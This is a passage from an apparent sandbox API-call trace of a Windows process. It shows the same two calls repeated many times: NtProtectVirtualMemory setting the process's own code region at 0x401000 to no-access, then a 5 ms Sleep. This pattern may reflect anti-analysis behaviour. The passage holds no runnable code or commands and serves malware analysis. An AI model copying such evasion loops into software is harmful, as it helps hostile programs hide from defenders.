NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.125] Sleep (dwMilliseconds=0x5) [0362.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.173] Sleep (dwMilliseconds=0x5) [0362.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.250] Sleep (dwMilliseconds=0x5) [0362.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.305] Sleep (dwMilliseconds=0x5) [0362.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.358] Sleep (dwMilliseconds=0x5) [0362.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.408] Sleep (dwMilliseconds=0x5) [0362.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.462] Sleep (dwMilliseconds=0x5) [0362.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.526] Sleep (dwMilliseconds=0x5) [0362.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.567] Sleep (dwMilliseconds=0x5) [0362.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.611] Sleep (dwMilliseconds=0x5) [0362.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.654] Sleep (dwMilliseconds=0x5) [0362.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.702] Sleep (dwMilliseconds=0x5) [0362.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.767] Sleep (dwMilliseconds=0x5) [0362.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.822] Sleep (dwMilliseconds=0x5) [0362.881] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.882] Sleep (dwMilliseconds=0x5) [0362.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.922] Sleep (dwMilliseconds=0x5) [0362.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.969] Sleep (dwMilliseconds=0x5) [0363.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.027] Sleep (dwMilliseconds=0x5) [0363.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.077] Sleep (dwMilliseconds=0x5) [0363.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.128] Sleep (dwMilliseconds=0x5) [0363.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.189] Sleep (dwMilliseconds=0x5) [0363.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.233] Sleep (dwMilliseconds=0x5) [0363.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.377] Sleep (dwMilliseconds=0x5) [0363.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.419] Sleep (dwMilliseconds=0x5) [0363.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.471] Sleep (dwMilliseconds=0x5) [0363.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.519] Sleep (dwMilliseconds=0x5) [0363.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.566] Sleep (dwMilliseconds=0x5) [0363.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.617] Sleep (dwMilliseconds=0x5) [0363.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.673] Sleep (dwMilliseconds=0x5) [0363.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.737] Sleep (dwMilliseconds=0x5) [0363.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.787] Sleep (dwMilliseconds=0x5) [0363.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.830] Sleep (dwMilliseconds=0x5) [0363.884] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.884] Sleep (dwMilliseconds=0x5) [0363.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.941] Sleep (dwMilliseconds=0x5) [0363.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.990] Sleep (dwMilliseconds=0x5) [0364.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.032] Sleep (dwMilliseconds=0x5) [0364.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.080] Sleep (dwMilliseconds=0x5) [0364.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.125] Sleep (dwMilliseconds=0x5) [0364.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.178] Sleep (dwMilliseconds=0x5) [0364.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.222] Sleep (dwMilliseconds=0x5) [0364.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.269] Sleep (dwMilliseconds=0x5) [0364.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.353] Sleep (dwMilliseconds=0x5) [0364.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.415] Sleep (dwMilliseconds=0x5) [0364.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.453] Sleep (dwMilliseconds=0x5) [0364.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.502] Sleep (dwMilliseconds=0x5) [0364.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.546] Sleep (dwMilliseconds=0x5) [0364.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.595] Sleep (dwMilliseconds=0x5) [0364.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.661] Sleep (dwMilliseconds=0x5) [0364.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.703] Sleep (dwMilliseconds=0x5) [0364.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.765] Sleep (dwMilliseconds=0x5) [0364.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.812] Sleep (dwMilliseconds=0x5) [0364.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.862] Sleep (dwMilliseconds=0x5) [0364.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.909] Sleep (dwMilliseconds=0x5) [0364.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.952] Sleep (dwMilliseconds=0x5) [0364.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.999] Sleep (dwMilliseconds=0x5) [0365.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.047] Sleep (dwMilliseconds=0x5) [0365.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.094] Sleep (dwMilliseconds=0x5) [0365.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.142] Sleep (dwMilliseconds=0x5) [0365.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.189] Sleep (dwMilliseconds=0x5) [0365.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.243] Sleep (dwMilliseconds=0x5) [0365.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.291] Sleep (dwMilliseconds=0x5) [0365.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.409] Sleep (dwMilliseconds=0x5) [0365.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.455] Sleep (dwMilliseconds=0x5) [0365.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.547] Sleep (dwMilliseconds=0x5) [0365.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.594] Sleep (dwMilliseconds=0x5) [0365.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.640] Sleep (dwMilliseconds=0x5) [0365.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.692] Sleep (dwMilliseconds=0x5) [0365.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.749] Sleep (dwMilliseconds=0x5) [0365.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.799] Sleep (dwMilliseconds=0x5) [0365.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.844] Sleep (dwMilliseconds=0x5) [0365.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.891] Sleep (dwMilliseconds=0x5) [0365.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.953] Sleep (dwMilliseconds=0x5) [0365.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.998] Sleep (dwMilliseconds=0x5) [0366.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.053] Sleep (dwMilliseconds=0x5) [0366.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, 